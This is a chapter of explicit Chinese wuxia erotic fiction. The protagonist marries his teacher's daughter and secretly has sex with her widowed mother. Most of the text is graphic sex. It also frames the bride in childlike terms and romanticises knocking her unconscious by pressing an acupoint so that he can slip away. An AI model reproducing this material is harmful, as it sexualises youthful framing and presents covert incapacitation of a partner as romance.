李天麟淫传[玄幻武侠]
时间已经过去两个月了。
两个月里,李天麟觉得每一天都如同在梦里一样,脸上总是洋溢着兴奋的笑容。有时到各家店铺巡视,各位掌柜都难免调笑几句:「麟少爷,最近有什么高兴事?」回到家,和师娘和月儿一起吃晚饭,随便说一些外面发生的事情,讲几个笑话逗月儿和师娘开心,饭桌上总是散发着浓浓的温情。
有时候有意或者无意说几句调笑的话的惹了月儿,两个人在府里追打笑闹,而到了没人看到的地方便演变成了让人耳热心跳的情景。而在一旁,师娘安静的坐着,温柔的微笑着,看着自己的女儿和徒儿笑闹,脸上满是幸福的神色。
当然,没有人会想到,和自己偷偷相会之时的师娘是如何娇艳动人,娇媚入骨。那具柔和娇美的娇躯在放下所有矜持自己身下曲意逢迎的时刻,让人无法相信与平日里端庄典雅的贵夫人是同一人。
有时候李天麟自觉都觉得仿佛做梦一般:娇媚可人的月儿,温柔似水的师娘,真的都是属于自己的了吗?
李天麟和月儿成亲的日子近了。
李天麟本是孤儿,自幼在韩家长大,而女方同样人丁稀少,除了几个远房的亲戚,苏凝霜娘家远在潞州,与此处隔了千里,因为当年一些龌龊事少有往来,虽然派人送了消息过去,但估计没有什么人来参加婚礼。
倒是府上的下人们和几家店铺的掌柜们很是兴奋。老主家去世未满一年,夫人支撑着偌大家业,这段日子表面上看来风平浪静,实际上的艰难大家都看在眼里。夫人一向待人和善,小姐虽然有些顽皮,却心肠极好,平日里对各位下人和掌柜叔叔伯伯的叫个不停,得到所有人喜爱,遇上这人生仅此一次的大喜事,所有人都盼着能热热闹闹的办上一场。
纳彩,问名,纳吉,纳征,请期,虽然府上人丁不旺,但在一干老成的下人和精明干练的掌柜们操持下,一项项事情办理的有条有理,任谁都挑不出毛病来。
到了迎亲这天,韩府早早的张灯结彩,众人纷纷换上喜庆的衣服,前后张罗,每个人脸上都露出笑容。
在月儿的闺房,小小的新娘坐在床边,被几个婆子上下打扮,梳头擦粉,看着眼前玉娃娃一样的小美人,每一个婆子都忍不住称赞几句,惹得月儿满脸羞涩,脸上的红晕一直没有褪下去。
苏凝霜今日也换上一袭大红色衣裙,带上了平日里珍藏着不带的首饰,显得雍容华贵,与女儿并肩坐在一起,如同一对孪生姐妹一般,美艳动人。
苏凝霜掏出一只古玉簪子,插在月儿头上,道:「这是娘亲成亲的时候你外公给我的簪子,父亲说能让带簪子的人一辈子幸福。现在我把它交个你了。」月儿低头插上簪子,咯咯一笑道:「有娘亲和师兄呢,我一定能一辈子幸福。」转过头去看着镜子里自己头上的簪子,眉眼里蕴满了幸福的笑意。
苏凝霜笑着,替女儿整理衣服,眼中含着泪光,道:「夫君最想看到的就是你和天麟成亲,一辈子快快乐乐的。今天你们终于要成亲了,夫君却看不到了。」说着,眼泪如同断线珍珠一样落下来。
月儿眼睛也红了,起身跪倒在地,道:「娘亲,以后我和师兄一起孝敬您,不让您再伤心。」苏凝霜拭去眼泪,笑道:「大喜的日子,怎么说起这些伤心事来?」双手拉住月儿的手,叮嘱她成亲后要与天麟相亲相爱,不可再使小性子,一番话说得月儿面颊通红,低着头摆弄着衣角。
眼看吉时已到,几个丫鬟婆子进来,给月儿盖上红盖头,搀着她出去拜堂。
来到喜堂上,满满一屋子都是人,李天麟身穿喜服,脸上施了一层粉,更显得玉树临风,英俊不凡。两人在司仪唱和声中,拜了天地,一起向坐在上面的苏凝霜跪拜,自有丫鬟搀了月儿回洞房去。
李天麟看着师娘坐在椅子上,满脸笑意,眼中却带着一丝难以觉察的失落,心中微微作痛,只是今日宾客满堂,不敢做出任何不合时宜的事情。只得转过身去招呼客人。
这一场酒只喝道夜色降临,宾客才纷纷散去。
李天麟喝了不少酒,只觉得头有点晕,早有人准备了醒酒汤,喝了几口,清醒了几分,由几个仆人搀着送到洞房中去。
推开房门,只见房中披红挂彩,桌上两根喜烛突突的冒着火焰,床边的新娘身穿绣着金线的嫁衣,盖着红盖头,安静的坐在床边,如同梦幻一般:那个娇小可人的小丫头,现在就是自己的娘子了?
李天麟走到床边,轻轻揭下盖头,只见盖头下玉人微微低着头,一头乌黑秀发盘成妇人式样,下面一张施了胭脂的粉面宜嗔宜喜,如同粉雕玉琢般,带着淡淡红晕,两只乌黑的眼睛带着羞涩,红润的小嘴在灯光下万分诱人。
李天麟心中砰砰直跳,轻声说了一句「月儿」,俯身靠近,忽然闻到一股酒味,再仔细看时,只见月儿脸色红润,目光微微迷离,分明是喝了酒,旁边盘子里放着几根鸡骨头,半杯残酒,忍不住心中好笑,轻轻刮了一下月儿的鼻子:「小丫头,怎么偷偷喝酒啊?」月儿显然有几分醉意,嘻嘻笑了几声:「饿了一整天了,你老是不来,所以我偷偷吃了些东西,喝了一点酒。」李天麟宠溺的揉了揉月儿的脸颊,道:「哪有新娘子在洞房里偷偷吃鸡腿喝酒的?」看着月儿目光迷离一脸幸福笑容的样子,却忍不住笑出来:「还饿不饿?」伸手从盘子里拿过一只鸡腿,晃了晃。
月儿眨了眨眼睛,忽然飞快的扑上来,牙齿叼住鸡腿,飞快的躲到床里边去,呵呵笑着,一小口一小口的吃着。
李天麟自己也拿起另一只鸡腿,对着月儿比划一下,两人面对面吃着,偶尔目光一对,便同时发出一阵笑声。
吃完了鸡腿,李天麟拿毛巾给月儿擦了手和嘴唇,笑道:「娘子,天色晚了,该安歇了吧?」月儿眼珠转了转,道:「还没喝交杯酒呢。」从桌上拿过两个杯子,倒满了酒,两人四目相对,手臂相环,慢慢喝下去。
李天麟看着月儿喝完了酒,红扑扑的小脸说不出的可爱,心中一动,口中含着一口酒,凑到她面前,嘴贴在月儿唇上,将酒液渡过去。
月儿啊了一声,张开小嘴,喝道了夫君渡过来的酒液,眼睛亮闪闪的,忽然抱住李天麟的脖子,红着脸娇嗔道:「还要喝……」李天麟一笑,又含了一口酒,低头吻在月儿唇上。月儿含着酒,却不咽下,在嘴里转了转,反过来又渡到李天麟嘴中。一口酒在两人舌头上转了几个圈子,最后被两人分别咽下。
看着月儿娇憨的模样,李天麟心中柔情荡漾,轻轻捏了捏月儿的鼻子:「小馋猫,小醉猫。」月儿呵呵傻笑了几声,道:「才不是小猫呢。」「月儿就是小猫,来,叫两声给夫君听。喵——,喵——」月儿一下子将李天麟扑倒:「才不是小猫,」她压在李天麟身上,衣服自然垂下,露出脖颈大片的雪白,晃了晃小脑袋,才笑嘻嘻的说道:「月儿是小狗,咬人的小狗,汪汪!」说着低头用牙齿咬着李天麟的面颊。
两人脸贴着脸,四目相对,月儿红扑扑的脸上忽然闪过一丝羞意,刚要起身,却被李天麟捧住面颊,对着鲜红的嘴唇亲下去。
月儿啊的一声,抬头避开,愣了一下,忽然低下头,对着李天麟的嘴唇恶狠狠的亲下去。两条舌头轻易的探入对方口中,彼此纠缠挑逗,津液混杂到了一起难分彼此,不大一会儿功夫都已经是面红耳赤,气喘吁吁。
再次抬起头,月儿的眼光变得清澈了一些,晶亮的眼睛中没有改变的是蕴含着的化不开的柔情。
「师兄,月儿真的是你的小媳妇了呢。」
一面柔软的说着,月儿解开红色嫁衣,抛在地上,在师兄灼热目光的注视下,羞涩的解开红色肚兜,露出柔嫩洁白的胸膛,两只小巧挺拔的玉乳骄傲的颤动着。
李天麟脸上带着迷醉的笑容,伸手揉弄着面前这对活泼的小兔子,指尖一下下捻动上面两个小小乳头。一股股酥麻的感觉令月儿身子发颤,忽然羞红了脸,飞快的爬起来,将被子连头裹在身上,露出大半个身子在外面。
李天麟好笑的轻轻在臀上拍了一下,月儿俯着身子,发出向小狗一样的哼哼声。
「小媳妇,快出来,今天是咱们大喜的日子呢。」「就不出来,大坏蛋净欺负我。」月儿娇嗔着。
李天麟脱掉月儿的裙子,露出两条纤细柔嫩象牙雕琢一般的玉腿,轻笑了一下,双手握住那对小巧的白嫩嫩玉足,指尖揉动脚心。
「呀——,痒死了。」两条玉腿奋力挣扎着,被子里穿出娇羞的声音:「坏师兄,欺负我。」「今晚小媳妇就是要被夫君欺负啊。」李天麟笑着脱掉衣服,低下头顺着月儿的玉腿一路慢慢亲吻下去,知道大腿根部,伸手在骄挺的小屁股上拍了一掌:
「小媳妇,抬一下。」
月儿娇声哼了几声,乖乖的耸起玉臀,任凭李天麟将亵裤褪下。
眼看着面前湿漉漉的小穴儿,李天麟呼吸渐渐急促,手上一动力,将玉臀抬起,火热的肉棒抵在玉臀下方,轻轻的摩弄着,不一会儿功夫,上面已经沾满了亮晶晶的液体。
「月儿,要进来了。」
「……嗯,进,进来吧。」
肉棒挑开两片粉色花瓣,慢慢的插进去,紧窄的阴户弹性十足,紧紧贴在肉棒上,每前进一分都有一层阻力,同时给李天麟带来十足的享受。
肉棒进入大半,李天麟再也忍受不住,双手捧着月儿的玉臀,一下下大力抽弄起来。房中响起娇喘声,呻吟声,以及啪啪的肉体撞击声音。
「坏蛋师兄,……月儿是师兄的小媳妇,……是师兄的小狗……汪汪……」刚刚品味过欢愉滋味的新婚夫妻躺在床上,四目相对,同时扑哧的笑了起来。
「小狗,呵呵。」
「不许笑,坏蛋师兄。」
月儿凶巴巴的看着李天麟的眼睛,雪白的小手在李天麟身上拧了几下,只是这威胁没有丝毫作用。
李天麟笑着,伸手在月儿的玉乳上抚弄着着。月儿娇哼一声,将整个身子埋到夫君怀里。
「师兄?」
「该叫夫君了。」
「夫君。」月儿轻轻叫了一声,随后哼了一声:「叫不惯,还是叫师兄好。
笨师兄,坏师兄,欺负人的师兄……」
「好吧,月儿想叫什么就叫什么吧。」
月儿咯咯的笑了,仿佛取得了很大的胜利。然后再次向李天麟怀中钻了钻,蜷起身子,仿佛一只贪睡的小猫,闭上眼睛。
「好困。师兄,我先睡了。」小新娘小声自语着:「不许再使坏。」不一会儿功夫,怀中的新娘安静的进入梦乡。
李天麟低头看着月儿的脸,嘴角浮现出一丝笑意,低头轻轻亲了一下她的额头。
月儿无意识的嗯了一声,皱了皱眉头,没有醒来。
李天麟看着月儿皱眉的样子,却是心中一呆,脑海中闪过一张同样的带着失落意味的面容。
师娘?
李天麟愣了半晌,心中上下翻腾,颤抖着手,轻轻在月儿的睡穴按了下去。
苏凝霜的卧房中。
美丽的妇人躺在床上,夜色已深,却没有睡意,美丽的眼睛呆呆的看着桌上燃烧到快要熄灭的蜡烛,脸上现出一丝说不清道不明的意味。
明明刚过盛夏,为什么身子这么寒冷?
苏凝霜裹紧被子,整个人缩成一团,闭上了眼睛,心中一片纷乱,眼前流动着一幅幅画面:女儿的笑容,夫君的背影,以及——「天麟——」苏凝霜无意识的念了一声。
忽然,门上传来几声轻轻的敲击声:啪,啪。
苏凝霜猛地睁开眼睛,看着门口,几乎以为自己听错了。
啪,啪,声音继续传来。
苏凝霜急促的呼吸了几下,胸口剧烈的起伏,终于颤声问道:「谁?」「是我。」熟悉的声音。
苏凝霜呆了片刻,咬牙道:「夜已经深了,我已经睡了,有什么事情明天再说。」敲门声停止了。
苏凝霜盯着门口,过了好半天,眼光渐渐黯淡下去。
忽然,窗户吱呀一声被推开,一个身影闪身而入。
「你——」苏凝霜盯着眼前的人,忽然心中充满了愤怒,猛然起身,被子滑落下来,露出仅着内衣的身子:「今天是你和月儿的大喜的日子,你到这里来做什么?你要是想要师娘,随时都可以,但是,今晚不行,否则我永远不能原谅你,也不能原谅我自己。」李天麟盯着苏凝霜的眼睛,慢慢道:「师娘,我白天看着你的眼神……我心里好疼。所以我才来看看你。」「你已经看到了,快回去吧。」苏凝霜脸色微微一黯,语气平缓了许多:「今天,是你和月儿大喜的日子呢,你今晚应该好好陪你的新娘子。」「是啊,师娘,今天是我们大喜的日子啊。」「你,你说什么?」
李天麟慢慢从身后拿出一张红盖头。「师娘,今晚,你能嫁给我吗?」苏凝霜心脏突然剧烈的跳动了几下,脸色发白,有些喘不上气来,禁不住用手抚住胸膛,说不出一个字。
「师娘,我喜欢你,为了你我愿意做任何事情。可你是我的师娘,是月儿的母亲,我知道也许我永远都给不了你名分,也许几年,或者十几年,或者一辈子,我们在别人面前都只能是师徒和岳母与女婿,不能靠近一步。」李天麟的眼中闪动着泪光:「但是,至少今天,我愿意娶你为妻。霜儿,你愿意嫁给我吗?」苏凝霜身子轻轻摇晃着,脑子里无数个巨雷轰隆隆的震响,令她无法喘息,无法思考,整个脑海中只回响着一句话:你愿意嫁给我吗?
你愿意嫁给我吗??
两行眼泪流淌下来,却想不起去擦拭。等到自己刚刚想起要擦干眼泪的时候,一只手已经握住自己的手,另一只手为自己擦去了泪水。她仰起秀丽雪白的脖颈,看着李天麟的双眼,眼泪不住的流淌,却傻傻的笑起来。
「天麟,」她抽泣着:「不管明天会怎样,以后会怎样,哪怕以后师娘被千人唾骂万人指责,但是今晚,我是你的新娘。」两张火热的嘴瞬间粘在一起,彼此贪婪的允吸着。
良久,两个人慢慢分开。
李天麟将苏凝霜的身子扶正,慢慢将红色盖头盖在她的头上。
「天地为证,明烛为鉴,今日李天麟与苏凝霜结为夫妻,相亲相爱,不离不弃。」两个人对着桌上的一对蜡烛,拜了下去。
盖头挑起,下面是苏凝霜微笑的面容,洋溢着幸福的味道。
李天麟伸出手,将师娘身上衣服一件件脱落,最后终于一丝不挂,如同一尊白玉雕琢的观音。苏凝霜也同时微笑着,温柔的为李天麟脱掉衣衫,两个火热的身子就这样面对面注视着彼此,脸上不约而同的红了。
李天麟俯下身,一面抚摸着师娘的娇躯,一面将一颗鲜红乳头含在嘴里,用力允吸着。
「啊,小坏蛋。」苏凝霜吃痛的轻呼一声,脸上却挂着幸福的笑容,伸手捧起美乳,送到李天麟嘴边:「贪吃鬼,今天……就让你吃个够吧。」「嗯。」李天麟含糊的应了一声,手掌用力的揉弄着手中丰盈雪白的美乳。
「小坏蛋。嗯……我们,还没喝交杯酒呢。」苏凝霜嗔道,轻轻从李天麟口中抽出美乳,上面已经沾了一层亮闪闪的津液。
「可是,屋里好像没有酒啊。」
「那边柜子里有,我去拿。」
苏凝霜说着,赤着身子轻盈的跳下床来,踮起脚尖,不自觉的纤腰轻摆,两颗硕大的乳峰和肥美的玉臀轻轻晃动。
刚迈出一步,身子已经被李天麟重新抱起,放回床上:「师娘,不用这么麻烦,有酒呢。」「啊,在哪里?」
李天麟坏笑着翻了个身,分开苏凝霜的两条玉腿,手指拨开粉色的肉瓣,将嘴对着红艳艳的阴户吸允下去,舌尖一勾一挑,沾满了香甜的花蜜。
「师娘的壶里盛满了甜酒啊。」
虽然已经是生过女儿的妇人,苏凝霜的阴户却极其娇嫩,周围没有一根毛发,粉色的肉瓣包裹着鲜艳的玉门,花径紧收,敏感异常,被李天麟只是舔弄了几下,已经是潮水泛滥,盈盈的沾湿了整个下体。
李天麟正要接住调笑几句,忽然下身一紧,肉棒被一个柔软湿润的所在紧紧包围,一下下的套弄着,敏感的龟头上被香舌舔弄,棒身被玉齿轻刮,舒爽的几乎叫出声来。
李天麟闷哼一声,加紧了舔弄允吸的力度,嘴唇与阴户之间摩擦声清晰可辨。
而下方苏凝霜仿佛与李天麟故意争斗一般,同时加大了动作幅度,两只玉手抚弄着两只肉袋,鼻中发出娇嗔声,将肉棒深深的吞进去,几乎触到了喉咙深处。
男人与女人的争斗互不相让,却又配合默契,哪一个都不肯轻易认输,彼此的口舌间都充满了粘稠的液体,这一杯交杯酒喝的情意绵绵,余韵不绝。
苏凝霜的呻吟声逐渐高亢,下意识的摆动腰肢,口中吞吐允吸的动作愈加快速,忽然长长的呻吟了一声,身体绷直,一股股热腾腾的爱液喷涌出来,大半进了李天麟的口中,小一半洒在李天麟的脸上和双股之间,湿淋淋的一片,如同发了一场洪水一样。
争斗终于输了,苏凝霜羞恼的拍了李天麟屁股一下,吐出含得嘴都发酸的肉棒,看着那根傲然挺立仿佛嘲笑自己的事物,眼神一亮,捧起一对玉乳,紧紧夹住,卖力的摩擦起来。
几十个来回后,李天麟终于经受不住,畅快琳琳的喷射出来,苏凝霜的头脸和雪白的胸口上满是白浊的液体。
两人躺在床上,轻轻的喘息,恢复精神,心中都明白这不过是中场休息,下面还有一场大战等着呢。
李天麟看着面前苏凝霜沾满爱液的玉臀,心中柔情不绝,手指在雪白的臀肉上轻轻揉弄,忽然看到那淡褐色的菊门四周沾满爱液,心中一荡,手指上抹了一层液体,向着菊门中轻轻插进去。
苏凝霜啊的惊叫一声,翻身起来,羞红脸道:「小坏蛋,不许搞怪。」眼看着李天麟贼兮兮的目光一直盯着自己的菊门,心中大羞,轻轻捶了他几下:「那里不许碰。」李天麟笑着点头:「好,不碰。」
过了一会儿,李天麟道:「师娘,休息好了吗?」苏凝霜羞红着脸,嗯了一声,身子随即被轻轻抱起,放在李天麟腰间。
「师娘,我的观音娘娘……」
鼻中传出一声舒适的呻吟声,苏凝霜娇嗔的白了李天麟一眼,扶住早已恢复精神的肉棒,一手撑开肉瓣,慢慢坐下去。
娇艳的身躯上下起伏,雪白的玉臀与下方的腰腹撞击发出啪啪的声响。李天麟双手扶住苏凝霜的腰肢,好让美师娘能节省一点力气。而苏凝霜盈盈的目光微笑着盯着李天麟的双眼,一只手撑在李天麟胸膛,另一只手揉弄着自己的乳峰。
「小坏蛋,师娘……嗯……好看吗?」
「好看……师娘,是……观音娘娘。」
「嘻嘻,爱使坏的善财童子……」
李天麟忽然撑着身子起来,将苏凝霜推到在床上,将两条丰满玉柱般的玉腿抗在肩头,下面腰部一下下用力挺动,带出的爱液溅的四处都是。
「师娘,看我操死你。」李天麟低声说道。
自从那一次佛堂之后,两人欢爱之时,李天麟总是时不时的说几句粗俗的话,一开始不习惯,几次以后却已经成为一种情趣。苏凝霜喘息着,高耸的胸脯不住起伏,配合着扭动腰肢,水淋淋的阴户一下下吞吐着徒儿的肉棒,脸上挂满淫靡的表情。
「吹牛。有本事……就,真把师娘操死……」
一阵暴风骤雨般的抽插,强烈的快感几乎吞没了苏凝霜的理智,浑身的肌肤都呈现出玫瑰般的红色,迷离的目光有些呆滞的看着那根粗大的肉棒在自己阴户中一进一出,带出的粘液顺着美穴流淌下来,在肚脐处积成一个小小的水洼。
「天麟……小坏蛋,真的要把师娘操……操死啦!」放下了所有矜持与羞耻,美师娘忘情的叫出声来。
李天麟挥汗如雨,喘息着:「要出来了!」
「啊,别射在里面……」苏凝霜急忙道,勉力挣扎将双腿从徒儿肩上放下来,俯下身子,含住一下下跳动的肉棒,套弄几下,一股股灼热的热流涌进口中,小巧的嘴巴不能容纳那么多的量,许多白色浆汁顺着嘴角滴出来。
嗔怪的看了李天麟一眼,苏凝霜下地,拿了一个茶杯,将口中的东西吐进去。
「师娘,怎么不喝呢?」李天麟笑着问道。
「脏东西,谁爱喝啊?」苏凝霜撇嘴道,全然不顾及刚才自己喝「交杯酒」的事实。
苏凝霜又上了床,两人抱着坐在一起,一动不动,静静享受着欢爱之后的时光。
「天色不早了,回去吧,别让月儿发现了。」苏凝霜道。
「嗯,不过有件事还没做呢,徒儿可不想半途而废。」「什么啊?」苏凝霜扬起头问。
李天麟没有回答,手臂却慢慢移下去,指尖刮了一下苏凝霜的菊门。
苏凝霜啊的一声,脸上布满红晕,小拳头一下下敲在李天麟胸口。
「坏蛋,不行。那里不许碰。」
「呵呵,那徒儿就今晚不走了。」李天麟有恃无恐的说道:「我点了月儿的睡穴,再有小半个时辰就醒了啊。」苏凝霜恨恨的看了李天麟一眼,羞红着脸,翻身面朝下躺在床上,拉上被子。
「师娘?」李天麟笑吟吟说。
被子轻轻被掀起一角,露出雪白丰满的玉臀。
「小坏蛋,你……你轻点。」
挺立的肉棒在玉臀上摩弄两下,沾满了爱液,然后慢慢向着淡褐色的菊门刺下去。
「啊!……小坏蛋,……疼!」
一炷香时间后,李天麟下了床,穿好衣服,回头看了看师娘雪白玉臀上的斑斑点点,轻笑了一声,俯下身子在师娘面颊亲了一下,捡起地上散落的衣服,开门离开。
等到李天麟走后,苏凝霜才睁开眼睛,脸上挂着羞涩难当的表情,伸手在沾满白浊液体的臀上摸了一把,脸瞬间红透了,恨恨骂了一句:「小坏蛋!」猛地钻进被子里。
月儿迷迷糊糊的醒过来,习惯性的翻了个身,手臂啪的一下打在身边男人的胸口,然后眨眨眼,才记起自己已经是他的娘子了呢。
伏在夫君的胸口,感受着他心脏的跳动,月儿心中柔情荡漾,抬头看着夫君睡得正熟,脸上现出满足的神色,伸出香舌轻轻在夫君胸口轻轻的舔弄着,忽然听到夫君嗯了一声,吓得马上停下来,再次缩了缩身子,彻底埋在夫君怀抱中。
「师兄……夫君……嘻嘻。」
小新娘微笑着,进入了梦乡。
新婚夫妻醒来时,天色已经大亮。
月儿迷迷糊糊的睁开眼睛,正看到李天麟的眼睛似笑非笑的看着自己,顺着师兄的目光向下一瞟,便看见自己胸前一对雪白的娇嫩玉乳正紧贴在师兄宽阔的胸膛上,小新娘害羞的呵呵笑了两声,把脸重新埋进师兄的胸口。
李天麟捏了捏月儿的脸蛋:「小迷糊,该起来了。」「什么啊?」小新娘撅了撅嘴:「还早着——啊?」抬头一看外面天色已经大亮,顿时惊叫一声,翻身坐起来:「完蛋了,完蛋了。要被娘亲笑话死了。」李天麟哈哈笑着,一伸手重新把月儿拉倒在床上,轻轻亲吻着雪白的小胸脯:「放心吧,师娘才不会笑话你呢。」月儿眼睛水汪汪的羞红着脸承受师兄的爱抚,过了一会儿才挣脱开,重新坐起来道:「不能再耽误了,否则真的要被娘亲笑话了。」李天麟笑着一并坐起身来,从旁边拿过月儿的衣服,月儿正要伸手去接,却被李天麟轻轻避过:「别动,让师兄来。」无奈的小新娘含着羞,乖乖的听从夫君摆布,一件件穿着衣服,夫君那只作怪的手有意无意的在自己身上摸一下拧一把,等到好半天衣服穿好,自己已经是全身泛红,娇喘微微。
等到穿戴完毕,月儿反过来替师兄穿戴,自然少不了以牙还牙,小手一阵上下掐弄,不过师兄脸皮很厚,一直笑呵呵的任凭自己摆弄,反而自己到最后心慌意乱,被师兄抱着狠狠亲了几口。
两人磨蹭了半天才下了床,早有丫鬟在外面等着,听两人呼唤后进来整理床铺,打扫房间,只是低垂的脸上带着一丝笑意,显然已经将方才小夫妻之间的嬉闹听了个够。
月儿脸上红红的,嗔怪的看了李天麟一眼,坐在菱花镜前梳妆。
李天麟笑着走到身后,拿起梳子,替小新娘梳头。丫鬟早已麻利的收拾干净,识趣的出去,顺手带上房门。
月儿唇边含着笑,看着镜子中师兄站在身后温柔的抚摸自己的头发,柔声道:「师兄,月儿真的是你的小媳妇呢。」李天麟低头在月儿的头发上亲了一下,笑道:「笨丫头,早就已经是了啊。」月儿身子向后靠了靠,头枕在师兄胸口,微笑着,眼睛中盈盈的闪着亮光:
「师兄,你知道吗?从月儿记事起就知道有一天会做师兄的新娘子啊。」「嗯。」李天麟同样温柔的笑着:「笨丫头,师兄一直等着你长大呢。」「月儿知道自己刁蛮,任性,爱耍小脾气,一直都是师兄宠着我。我以后会慢慢改掉这些的,一定会努力做一个好妻子。」月儿微笑着小声说着,接着板起小脸:「但是,在我没有改掉之前,不许讨厌我,责怪我,要一直宠着我。」李天麟哈哈笑着:「无论是刁蛮任性还是温柔体贴,月儿都是我最喜欢的小媳妇啊。放心吧,师兄会一直宠着你,三十年五十年下去都不会变。」「一百年都不许变!」月儿凶巴巴的道。
「一辈子不变。」
好不容易梳妆完毕,两人一起到苏凝霜房中问安。
苏凝霜早早起来,端坐着,一见女儿和女婿进门,脸上顿时现出柔和的笑容。
只是目光扫过李天麟脸上时候,面颊上现出一丝淡淡红晕,笑道:「起来了啊?
我还以为你们要多睡一会儿呢。」
月儿悄悄回头嗔怪的看了李天麟一眼,红霞满面。
两人跪下,依次向苏凝霜奉茶请安。
苏凝霜微笑着先是喝了女儿的茶,叮嘱几句为妇之道,等到喝了一口李天麟奉上的茶,同样叮嘱几句。然后道:「月儿,你先下去吧,娘亲跟天麟说几句话。」月儿眨眨眼,一脸疑惑。苏凝霜笑道:「宝贝女儿给了这小子,总得多叮嘱几句,可不能将来让他欺负你。」月儿这才松了口气,向师兄递过一个「你自己小心」的眼神,起身走出去。
苏凝霜看了看身边的几个丫鬟婆子,道:「你们也都下去吧,没我的话不许靠近。」下人们依声退出去。
等到房门关好,苏凝霜看了看李天麟,羞红着脸,低下头小声道:「昨晚怎样?月儿没有发现吧什么?」李天麟笑道:「发现什么啊?」眼看四处无人,突然凑上来快速亲了苏凝霜一口。
苏凝霜羞恼的咬了咬牙,终究不能将李天麟如何,最终只得恨恨的说了一句:「迟早被你这小坏蛋害死。」眼看着苏凝霜玉颊晕红,娇羞可爱,李天麟心中荡漾,忍不住伸手抱住,柔声道:「娘子……」苏凝霜脸上通红,任由他抱着,只是羞涩的低头骂道:「小坏蛋——」忽然一只手向自己裙下探去,苏凝霜一惊,抬手拍落,低声骂道:「小坏蛋,这是什么时候什么地方?还要这么乱来?」李天麟也知道时机不对,也不敢做的过分,只是贴近苏凝霜的面颊,笑道:
「娘子,叫一声‘夫君’来听听。」
苏凝霜神情扭捏,拗不过李天麟,终于红着脸低低的叫了一声:「夫君……」李天麟心中振奋,忍不住向着苏凝霜脸上吻去。
苏凝霜扭头避开,正色道:「天麟,你以后是月儿的夫君了,也是,……哼……,以后一定要对月儿好,不许辜负了她。否则我绝不饶你。」李天麟道:「娘子放心,我一定好好的对待月儿。」嘴里说着,眼睛直勾勾盯着苏凝霜的红唇,目光灼灼。
苏凝霜红着脸,轻轻在李天麟嘴唇上亲了一下:「哼,这算是奖励你的。」小夫妻新婚之喜,彼此之间自然百般恩爱,好似蜜里调油,同宿同起,相亲相爱,黏在一起一刻也不愿分开,在母亲面前的时候尚且偷偷的你拧我一下,我掐你一把,惹得苏凝霜几次在桌上板起脸来用筷子敲着桌子。等到夜深之时,已是食髓知味的两夫妻,更是亲亲热热,浓情蜜意,欢爱无限,彼此间恨不得长到一起。月儿生性活泼,对夫君柔情满怀,自然曲意逢迎,而李天麟同样对月儿百般疼爱,使尽了浑身解数,一夜之间不知弄了几回,弄得月儿不住呻吟喘息,连连告饶,床榻都湿的不成样子。往往到了天色发白两人才心满意足,彼此相依的沉沉睡去。
如此过了有半个月时间,两人之间的柔情只见增进不见衰减。然而李天麟终究是有正事要做,不得不每日早出晚归,打理各家店铺的生意。月儿却一刻也不想与夫君分开,缠着母亲撒了半天娇,终于得到允许,每日跟随夫君一起去学习打理生意。
每到了一处店铺,掌柜的自然要恭喜小姐和姑爷新婚之喜,熟稔的还要调笑几句,惹得月儿面颊绯红,嘴角含着笑意脉脉看着夫君与掌柜的协商生意,天色将晚,两人一起坐马车回府,车到了府门前,李天麟下车,敲了敲车门:「月儿,下车了。」里面传出月儿羞怯的声音:「不下去。」
李天麟笑了笑,反身进到车里,在月儿一声声娇嗔声中将她抱出来,在下人们窃笑声中一直抱着一路送到房里去。
「……坏蛋师兄,羞死了,在车上还欺负我。」月儿将头埋在夫君怀里,脸颊红红的小声说道。
「呵呵,夫君欺负自己娘子,天经地义的事,怕什么?」苏凝霜隔着窗子看着李天麟一路抱着衣衫不整面颊晕红的月儿回房,脸上一红,轻轻啐了一口。等到吃完晚饭的时候,瞅着机会狠狠训斥了两人一回,才道:「在府里乱来也就算了,在外面还这么不害臊?罢了,明天起月儿还留在府里吧,反正出去也没心思学做生意。」「啊?」月儿眨眨眼,小声道:「我有跟师兄学啊……」「是吗?」苏凝霜似笑非笑的看着女儿。
月儿吐了吐舌头,红着脸低下头去。
第二天,月儿只好留在自己的房内,写写字,念念书,只是到了太阳偏西就心神不定,手托香腮呆呆的看着大门口方向,满脸红晕的出神。
眼看着天色都快黑下来了,门口仍然没有夫君的身影,月儿心中焦急,又害羞不敢到大门口去看,只是心中恨恨想到:「笨蛋师兄,这么晚了还不回来。哼,看我今天晚上……今晚上偏不听他的摆布了。」想到得意处,脸色发红,吃吃的笑个不停。
想了一会儿,心中烦闷,索性出了门,在院子里转了转,无意中抬头却发现自己走到了母亲房门外,忍不住走上前去。
房中的床上,苏凝霜雪白柔嫩的娇躯伏在李天麟健壮的身躯上,随着他大力的挺动而不断起伏,一只饱满雪峰被他的大手握住掌中肆意揉弄,不停变幻着形状。苏凝霜面颊通红,浑身香汗淋漓,眼光迷离的向下看去,只见自己湿漉漉的阴户被那根让自己又恨又爱的巨物一下下大力的插弄,娇嫩的膛肉被肉棒抽动时带出体外,然后又狠狠的推送进去,一进一出之间淋漓的爱液顺着肉缝喷洒出来。
如此淫靡场景令苏凝霜心神荡漾,目光似喜似怨,水波荡漾,芳唇间吐出若有若无的娇柔呻吟,缠绵悱恻,惹人心头火起,便是苦修万年的佛陀降世只怕也难以抗拒,要坠入这香艳无比的诱惑中永世沉沦。
眼看着美师娘心神迷醉欲拒还迎的娇羞神态,李天麟只觉得整个人都要融化了一般,一面奋力冲刺,一面低声笑道:“师娘……你好美,我好快活啊。”
苏凝霜目光盈盈,吃吃笑着,娇嗔道:“小坏蛋,明明早回来了,却不去陪月儿,却偷偷来我房里胡闹。真是,真是爱乱来……”
李天麟笑道:“好几日没有陪师娘了,心里想的紧,所以才敢偷偷回来。”
苏凝霜美目流淌着光彩,低声道:“师娘,也……也想你呢。啊!”却原来下面被李天麟用力一顶,肉棒狠狠刺中花心,美得娇躯颤抖,差点泄了身子。
李天麟喘息着笑道:“好师娘,一会儿能不能让我再弄一次后面?”
“不行。”苏凝霜稍带着畏惧神色道:“你那里那么大,上次以后师娘疼了一整天,吃饭时候差点被月儿看出来了……,最多,师娘多让你弄一次……”
两人一面享受着欢愉,一面说着情话,忽然听到外面脚步声,紧接着响起敲门声:“娘亲,在里面吗?”
床上两人同时变色。
李天麟一下子坐起来,四处观望,准备从窗子出去。苏凝霜急道:“不可以。”
大白天的如果天麟光着身子从自己窗户出去,难免被人发现。
